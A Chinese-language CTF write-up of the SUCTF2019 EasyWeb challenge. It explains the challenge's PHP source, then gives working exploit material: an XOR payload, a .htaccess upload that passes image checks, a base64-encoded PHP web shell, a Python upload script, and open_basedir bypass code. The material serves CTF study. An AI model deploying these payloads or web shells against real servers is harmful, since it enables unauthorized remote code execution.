SUCTF2019-EasyWeb

SUCTF2019-EasyWeb

借鉴大佬博客

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

代码审计

1
2
3
4
5
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}

创建基于IP MD5哈希值的唯一上传目录

目录格式:upload/tmp_[用户IP的MD5]


1
2
3
4
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);

检查是否有文件上传

获取上传文件的临时路径、原始文件名和扩展名


1
2
3
if(preg_match("/ph/i",$extension)) die("^_^"); 
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");

安全限制:

禁止包含ph的扩展名

内容过滤:检查文件内容是否包含php起始标记<?

图像验证:使用exif_imagetype()验证是否为有效图像文件


1
2
3
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);

将文件上传到专属目录

输出文件保存路径


1
2
3
4
5
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

获取?_=参数值,无参数时显示源码


1
2
3
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

限制参数值为18个字符


1
2
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

字符过滤

禁止使用:控制字符(\x00-\x1F)、空格、数字0-9、大小写字母、特殊字符


1
2
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

count_char($hhh,3)返回参数中使用的唯一字符

限制最多使用12中不同字符


1
eval($hhh);

危险函数


异或运算构造$_GET{};

我们可以使用异或绕过来构造$_GET[]();的格式来调用get_the_flag函数

异或生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}

finds("_GET");
?>

payload:

1
2
3
4
5
6
7
8
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo



?_=... $_GET['_'] = ... 主注入点,触发动态函数调用
%80%80%80%80^%df%c7%c5%d4 异或运算生成关键字符串 动态构造 _GET
{%80} $_GET['%80'] 提取参数值作为函数名
&%80=phpinfo $_GET['%80'] = 'phpinfo' 注入要执行的函数名

.htaccess上传

如果像之前一样在文件前面加个GIF89A是不行的,会有500响应码

解法一

1
2
#define width 1337
#define height 1337

可能是为了绕过某些 WAF 的规则检测。

解法二

1
2
3
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

<?和exif_imagetype的绕过

利用 .htaccess 文件和文件幻术绕过代码中对文件上传的严格检查,进而执行任意代码获取 flag。具体步骤为:上传特制的 .htaccess 文件,利用 php_value auto_append_file 和 AddType 指令,配合 php://filter 伪协议绕过对 <? 的检测;同时,为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype 检测。

.htaccess 文件是 Apache 服务器的配置文件,可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。

1
2
3
4
5
6
#define width 1337
#define height 1337
# 指定所有以 .gif 结尾的文件都按 PHP 脚本解析
AddType application/x-httpd-php .gif
# 自动在每个 PHP 脚本执行前包含指定的文件,这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif

shell.gif文件的创建

1
2
3
4
5
6
7
8
<?php
// 要执行的 PHP 代码
$php_code = '<?php eval($_POST[1]);?>';
// 添加 GIF 文件头幻术
$shell_content = "GIF89a12\n" . base64_encode($php_code);
// 将内容写入 shell.gif 文件
file_put_contents('shell.gif', $shell_content);
?>

注意:文件幻术头一般为GIF89A,这里只有6位,而base64解码时以4个字符为单位,所以需要再加两位随机字符

上传文件

html表单上传

由于没有上传界面,自己写一个上传的html表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://4c04fe1d-0363-4787-907c-2a14c670d0f3.node5.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

分别传入.htaccess文件和shell.gif文件

得到两个路径

1
2
upload/tmp_86ee4f59cecf7db35b5352cce92d394a/.htaccess
upload/tmp_86ee4f59cecf7db35b5352cce92d394a/shell.gif

python脚本上传(更方便)

这里也可以用python脚本一键完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://96485d98-f134-4e77-8d3e-30725f4bad96.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

同样也是得到两个路径


然后用蚁剑连接shell.gif的路径即可。

绕过open_basedirdisable_function

在上传之后就可以通过蚁剑连接,但我们发现不能访问其他目录。查看phpinfo之后发现有open_basedir

方法一:

利用蚁剑插件,选择PHP7 GC with Certain Destructors UAF

然后在根目录发现flag


方法二:

  • 首先构造一个相对可以上跳的open_basedir 入mkdir(‘lin’); chdir(‘lin’) ,当然我们这里有上跳的路径我们直接 chdir(“img”)
  • 然后每次操作chdir(“..”)都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。
  • 比如初试open_basedir为/a/b/c/d:
  • 第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/
  • 那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。
1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir('lin');
chdir('lin');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github